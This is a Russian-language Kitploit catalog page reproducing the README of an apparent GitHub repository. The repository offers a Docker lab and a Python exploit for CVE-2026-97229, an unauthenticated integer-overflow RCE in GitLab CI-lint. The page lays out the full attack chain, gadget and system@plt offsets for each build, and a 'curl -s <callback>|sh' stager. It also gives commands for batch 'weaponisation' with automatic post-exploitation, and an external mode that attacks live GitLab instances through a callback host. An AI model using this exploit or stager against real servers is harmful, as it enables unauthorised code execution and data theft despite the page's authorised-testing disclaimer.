Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-97229-lab — Docker-лаборатория и Python-эксплойт для CVE-2026-97229 — неаутентифицированное целочисленное переполнение в регулярных выражениях Onigmo в GitLab CI-lint, приводящее к RCE, с зондированием, выводом структуры памяти и постэксплуатацией. | Kitploit
Инструменты/GitHubGitHub/emc-kk/cve-2026-97229-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияКриптографияТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЛаборатории и Практика
GitHubemc-kk/cve-2026-97229-lab

cve-2026-97229-lab

12 дней назадЕщё не проверено

Docker-лаборатория и Python-эксплойт для CVE-2026-97229 — неаутентифицированное целочисленное переполнение в регулярных выражениях Onigmo в GitLab CI-lint, приводящее к RCE, с зондированием, выводом структуры памяти и постэксплуатацией.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-97229 GitLab CI lint regex integer overflow RCE

CVE-2026-97229 — GitLab CI lint regex OOB write → RCE

Только авторизованное тестирование. Используйте это против систем, которыми вы владеете или которые вам явно разрешено тестировать (область bug-bounty, клиентский проект, ваша собственная лаборатория). Неавторизованное использование незаконно.

English | 中文

Неаутентифицированный запрос CI-lint, который повреждает матчер Onigmo и перенаправляет выполнение на гаджет system() внутри libruby.so:

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

Финальный запрос не требует аутентификации, но размещение вредоносной конфигурации CI требует прав на запись в публичный проект (или в экземпляр, который допускает самостоятельную регистрацию и публичные проекты).


Краткий обзор

ПунктЗначение
Затронутые (протестированные)19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1
Не эксплуатируемые19.2.8, 19.3.4 (исключение, см. ниже), 19.3.5, 19.4.2; для 19.2.3 нет образа CE
Триггернеаутентифицированный GET /api/v4/projects/:id/ci/lint
Предварительные условиядоступность + права на запись в публичный проект (токен, скомпрометированная учётная запись или открытая регистрация)
Воздействиевыполнение команд от имени git (uid 998) внутри контейнера GitLab
Ограничения PoCсборки x86_64; поведение зависит от сборки libruby.so, а не от строки версии
Границы рекомендаций19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2

19.3.4 указана как затронутая в рекомендациях, но её встроенная libruby.so никогда не попадает в уязвимый путь раскрытия — нам не удалось её вооружить (repro/evidence/2026-10-18-full-matrix/).


Быстрый старт (лаборатория)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Ожидаемая последняя строка:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

Без облачного аккаунта и без SSH: лаборатория представляет собой обычный Docker (локальный демон, DOCKER_HOST или docker context). В Docker Desktop добавьте --callback-host host.docker.internal.


Как это работает

  1. Оператор создаёт публичный проект и отправляет ветку, содержащую специально сформированный include.rules.exists.regexp вместе с путём репозитория длиной 110 байт.
  2. Неаутентифицированный запрос на линтинг компилирует этот шаблон; повтор из 57 805 раз записывается как {5(?#)7805}, чтобы защита от повторов на стороне Rails (REPEAT_MAX=1000) его не заметила.
  3. На уязвимых сборках сопоставитель материализует развёртывание (~2 ГиБ); арифметика размера переполняется, и запись повреждает соседнюю память.
  4. Специально сформированный путь предоставляет инструкцию call и смещение system@plt, перенаправляя виртуальную машину.
  5. Загрузчик — это curl -s <callback>|sh, дающий шелл от имени сервисного пользователя git.

Часть 1 — Воспроизведение (лаборатория)

1.1 Запуск цели

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

Лаунчер применяет настройки памяти, необходимые для эксплойта (sidekiq off, один воркер Puma, небольшие буферы Postgres, --memory 6.5g --shm-size 256m), ожидает готовности UI и устанавливает пароль root. См. lab/README.md / lab/README_CN.md.

1.2 Проверка

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
ПолеЗначение
httpстатус GET /users/sign_in
versionверсия GitLab, считанная из контейнера (null без доступа к контейнеру)
classклассификация по бюллетеню: affected / patched / not-listed / unknown
libruby_md5идентификатор сборки libruby.so целевого контейнера
layoutfinish / gadget / step (только если сборка известна или выводима)
exploitableдоступна ли раскладка; class=affected не подразумевает это
layout_sourcetable, derived или no-overflow-in-build

class: "unknown" просто означает, что информация о контейнере/версии недоступна — для цели, заданной только URL, инструмент не может классифицировать или вывести раскладку. См. «Внешние цели» ниже.

1.3 Эксплуатация

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

Критерий успеха: lint имеет значение dropped(HTTPError) или http(502), а output начинается с uid=998(git). Ответ 200 с valid:true означает, что сборка не уязвима.

1.4 Матрица версий

ВеткаУязвимаИсправлена / не уязвима
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8; для 19.2.3 нет образа CE
19.3.x19.3.0–19.3.319.3.4 (сопоставитель никогда не раскрывается), 19.3.5
19.4.x19.4.0, 19.4.119.4.2

Доказательства по каждой сборке: repro/evidence/2026-10-18-full-matrix/ (中文).


Часть 2 — Вооружение (авторизованные цели)

2.1 Целевые форматы

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container обязателен для текущего пути эксплуатации (libruby/layout + rails runner); layout — необязательный параметр переопределения для сборок, которые инструмент не может прочитать.

2.2 Пакетный конвейер

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

Для каждой цели по порядку: probe → exploit → при RCE post-exploitation (exploit/post/collect.sh; переопределяется через --post-command-file, отключается через --no-post). --probe-only останавливается после фингерпринтинга. Код выхода 0, если хотя бы одна цель дала RCE.

2.3 Разрешение layout

Payload требует три константы для каждой сборки (гаджет finish, system@plt, шаг UTF-8). Порядок разрешения:

  1. явный layout (0x… 0x… 12345);
  2. проверенная таблица md5 (покрыто 10 версий);
  3. вывод на лету из libruby.so контейнера через exploit/layout.py.

Все известные уязвимые сборки используют только два layout: 0x486DA9/0x31EE29/1249885 и 0x4885A9/0x31E809/1256138.

2.4 Внешние цели (без Docker)

--mode external требует только HTTP и PAT (область api): он создаёт публичный проект через API, отправляет изменения с oauth2:<token>, запускает неаутентифицированный lint и затем удаляет проект.

python3 exploit/cve97229.py --mode external --targets scope.csv \
  --token glpat-... --scope scope.txt --authorized \
  --callback-host 203.0.113.10 --callback-port 80
Скачать инструмент